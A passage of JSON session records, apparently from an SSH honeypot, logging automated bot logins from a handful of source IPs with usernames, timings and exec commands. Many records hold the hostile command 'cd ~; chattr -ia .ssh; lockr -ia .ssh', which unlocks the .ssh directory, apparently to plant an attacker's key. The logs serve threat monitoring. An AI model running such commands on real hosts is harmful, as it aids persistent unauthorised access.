  "started_at": "2026-08-27T12:35:24.371041+00:00",
  "ended_at": "2026-08-27T12:35:25.146167+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7821f2a4-c97d-4d17-94f9-e1d3d89ec220",
  "name": "sullen-pleasant-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59726,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 442,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:34:45.065151+00:00",
  "ended_at": "2026-08-27T12:34:46.235008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "6162c3fb-7cf0-44a8-9579-9316ac5429bf",
  "name": "cosmic-dappled-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 49784,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 727,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:34:33.053070+00:00",
  "ended_at": "2026-08-27T12:34:34.292996+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "321529d5-90ce-4b2c-a955-2ea421a8bb49",
  "name": "nameless-wistful-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59754,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:24.688330+00:00",
  "ended_at": "2026-08-27T12:34:25.690124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0a894f5-985c-41fd-ab6c-806006dbfbb2",
  "name": "placid-mighty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59738,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:21.876508+00:00",
  "ended_at": "2026-08-27T12:34:23.777115+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f6ce012-35d0-4ff1-af9c-cb66d0a51ef3",
  "name": "silent-mindful-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 60330,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:10.719948+00:00",
  "ended_at": "2026-08-27T12:34:12.680752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2aceaf5-53fd-4426-a312-4eb6ef1024c8",
  "name": "merry-misty-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49798,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:34:07.367859+00:00",
  "ended_at": "2026-08-27T12:34:09.058778+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a43d6df3-a362-41f0-ac3b-6d50b2b37097",
  "name": "flinty-foggy-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:44.889851+00:00",
  "ended_at": "2026-08-27T12:33:45.802782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "f741687a-2f74-4efe-8967-e1f14d778609",
  "name": "cobalt-velvet-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57180,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:42.482087+00:00",
  "ended_at": "2026-08-27T12:33:43.465726+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "76f346a1-f615-4192-8f06-bceee895d849",
  "name": "vigilant-eager-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51388,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:33:36.913486+00:00",
  "ended_at": "2026-08-27T12:33:39.163783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0f34a92d-4fee-49a2-893e-c96943b2b3f6",
  "name": "sleepy-weathered-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57198,
  "username": "lighthouse",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:28.332661+00:00",
  "ended_at": "2026-08-27T12:33:29.051424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4580ea74-454f-437d-883a-77f5f7308cc3",
  "name": "gallant-sullen-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37136,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:28.294874+00:00",
  "ended_at": "2026-08-27T12:33:29.314411+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5b23193e-2268-4797-9866-87c0f8811dc9",
  "name": "nautical-thrifty-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37122,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:26.967275+00:00",
  "ended_at": "2026-08-27T12:33:27.641572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e76e55fb-1151-4b80-9bf7-4a404b4da8da",
  "name": "regal-tranquil-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57184,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:26.730756+00:00",
  "ended_at": "2026-08-27T12:33:27.751009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20f3ca35-e4c1-4e79-9bfe-e5ec9d9c89ed",
  "name": "feral-fierce-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51402,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:20.567470+00:00",
  "ended_at": "2026-08-27T12:33:22.449147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc2bcc39-ea57-4c25-a79e-bd9131bf0f47",
  "name": "blazing-indigo-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51394,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:33:18.618524+00:00",
  "ended_at": "2026-08-27T12:33:20.042218+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ec0d238-b76e-40d5-8697-428d08619805",
  "name": "gentle-golden-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59690,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:32:06.271202+00:00",
  "ended_at": "2026-08-27T12:32:07.457659+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "8cb6aa8b-8141-4827-9197-5b2b01a4e730",
  "name": "amber-eager-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59718,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:48.009222+00:00",
  "ended_at": "2026-08-27T12:31:50.024651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "063ba4fa-f4f3-4a10-a2ca-0fedab92e42f",
  "name": "dappled-rugged-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54790,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:46.854372+00:00",
  "ended_at": "2026-08-27T12:31:48.487515+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2259
 },
 {
  "id": "be391fb2-d976-4b3e-be6b-96645c4ce781",
  "name": "sooty-watchful-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59702,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:45.559670+00:00",
  "ended_at": "2026-08-27T12:31:47.125693+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "99ccf506-6ffc-4033-8775-6988a850b13b",
  "name": "whispering-placid-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 51354,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:43.140989+00:00",
  "ended_at": "2026-08-27T12:31:45.015186+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "bda5fd82-149a-466a-b1a2-d839e9b74824",
  "name": "emerald-tawny-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 56260,
  "username": "esadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:33.624503+00:00",
  "ended_at": "2026-08-27T12:31:34.849961+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2266
 },
 {
  "id": "0c76bfb4-836e-4008-83a9-7ac679dbfa15",
  "name": "crisp-hazel-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 59090,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:31:28.446059+00:00",
  "ended_at": "2026-08-27T12:31:29.412215+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0124f9d0-8a1b-43ec-9dd4-603fcd0150f3",
  "name": "northern-fickle-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54804,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:25.421123+00:00",
  "ended_at": "2026-08-27T12:31:27.101355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d08e85c9-5f3c-4f8d-81a6-adecc04e9289",
  "name": "smoky-brazen-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54794,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:22.621295+00:00",
  "ended_at": "2026-08-27T12:31:23.963749+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c13d7269-efbb-4d3a-b4f5-bef321686ba6",
  "name": "snowy-seaward-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 56284,
  "username": "esadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:19.414910+00:00",
  "ended_at": "2026-08-27T12:31:20.550789+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6734aa3-50aa-4019-b55a-52fb9955b1db",
  "name": "faded-distant-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51370,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:18.039550+00:00",
  "ended_at": "2026-08-27T12:31:19.732461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0374ad6-7ad6-4a8e-8da9-48293e573f2a",
  "name": "sandy-lunar-redshank",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 56274,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:17.381128+00:00",
  "ended_at": "2026-08-27T12:31:18.886204+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6e06384-26b7-4430-bd1a-3a334790bfaf",
  "name": "forlorn-quaint-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 51358,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:16.355062+00:00",
  "ended_at": "2026-08-27T12:31:17.384912+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10a37ecf-3316-4422-9f82-db18baebbdb6",
  "name": "subtle-boreal-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59106,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:13.315126+00:00",
  "ended_at": "2026-08-27T12:31:15.126731+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba46486c-8083-47c3-8136-655113c90e54",
  "name": "gloomy-glassy-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 59104,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:31:11.920788+00:00",
  "ended_at": "2026-08-27T12:31:12.729343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1609ea5b-d2dc-4f1e-96b4-c9b871295286",
  "name": "ruddy-humble-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 38402,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:42.393155+00:00",
  "ended_at": "2026-08-27T12:29:44.480765+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "e5ebfb99-0401-4147-b4b9-c5fff6839c7d",
  "name": "verdant-breezy-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 53220,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:36.925712+00:00",
  "ended_at": "2026-08-27T12:29:37.877115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "dcfb3d69-cc4c-4120-9d60-c07c2fa180eb",
  "name": "dappled-balmy-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59660,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 449,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:26.042174+00:00",
  "ended_at": "2026-08-27T12:29:27.519024+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "6f5b8ece-b33e-4d78-b9da-05147aaf9f4f",
  "name": "plush-smooth-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53236,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:21.716141+00:00",
  "ended_at": "2026-08-27T12:29:22.325099+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd6bfb18-9673-4919-8fb6-a713144fa732",
  "name": "scarlet-noble-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 53224,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:19.654254+00:00",
  "ended_at": "2026-08-27T12:29:21.183880+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14aa3042-67a4-4881-b2b1-8310bb7ba4d7",
  "name": "airy-humble-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38420,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:15.453202+00:00",
  "ended_at": "2026-08-27T12:29:16.861202+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f2acf93-459d-4ad4-b3b2-a666f3f3f304",
  "name": "dappled-wry-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 35920,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 296,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:15.331459+00:00",
  "ended_at": "2026-08-27T12:29:17.343007+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "6280a327-465c-4df1-b5d5-b9675d7c5f1c",
  "name": "earnest-wistful-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 38414,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:13.457418+00:00",
  "ended_at": "2026-08-27T12:29:14.802822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a10d1225-3c08-4425-abc5-796a877cd38c",
  "name": "dutiful-ancient-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59680,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:08.314116+00:00",
  "ended_at": "2026-08-27T12:29:09.417444+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bc4e181-152e-498b-ba33-53785e7ccfbc",
  "name": "snowy-wandering-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:06.321759+00:00",
  "ended_at": "2026-08-27T12:29:07.433348+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "195e9eb7-d36c-4b2a-96d4-beda6f9cbb6c",
  "name": "ivory-pewter-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 42630,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1024,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:29:02.832543+00:00",
  "ended_at": "2026-08-27T12:29:04.521724+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "b386ba73-81c9-43ef-843b-c14566f34d7f",
  "name": "thorny-muted-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 35938,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:29:00.192414+00:00",
  "ended_at": "2026-08-27T12:29:01.049726+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60c10fb3-b5b8-4ad8-9fcb-1d5001ff4404",
  "name": "gnarled-jaunty-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 35932,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:59.002169+00:00",
  "ended_at": "2026-08-27T12:28:59.614047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f3ecd1c-7a69-44d7-a173-9417aa543899",
  "name": "wiry-kindly-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41066,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:34.705551+00:00",
  "ended_at": "2026-08-27T12:28:36.644016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e78db84f-61db-418f-aa82-338a894d3258",
  "name": "crimson-quartz-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41054,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:28:30.992723+00:00",
  "ended_at": "2026-08-27T12:28:33.061112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "046b6074-3b9c-4437-be5f-664598711280",
  "name": "foggy-snowy-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 42818,
  "username": "kd",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:40.954237+00:00",
  "ended_at": "2026-08-27T12:27:41.855899+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "1047406f-7e04-4b83-9acb-2aca205290c8",
  "name": "regal-polar-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51166,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:27:37.812022+00:00",
  "ended_at": "2026-08-27T12:27:39.366564+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7f977971-69f4-4ae9-884a-f8be46307eba",
  "name": "drifting-forlorn-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51178,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:27:22.943577+00:00",
  "ended_at": "2026-08-27T12:27:24.437268+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c63f30a5-589e-464b-a6b8-d2683c8bdc01",
  "name": "hushed-crystal-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 51174,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
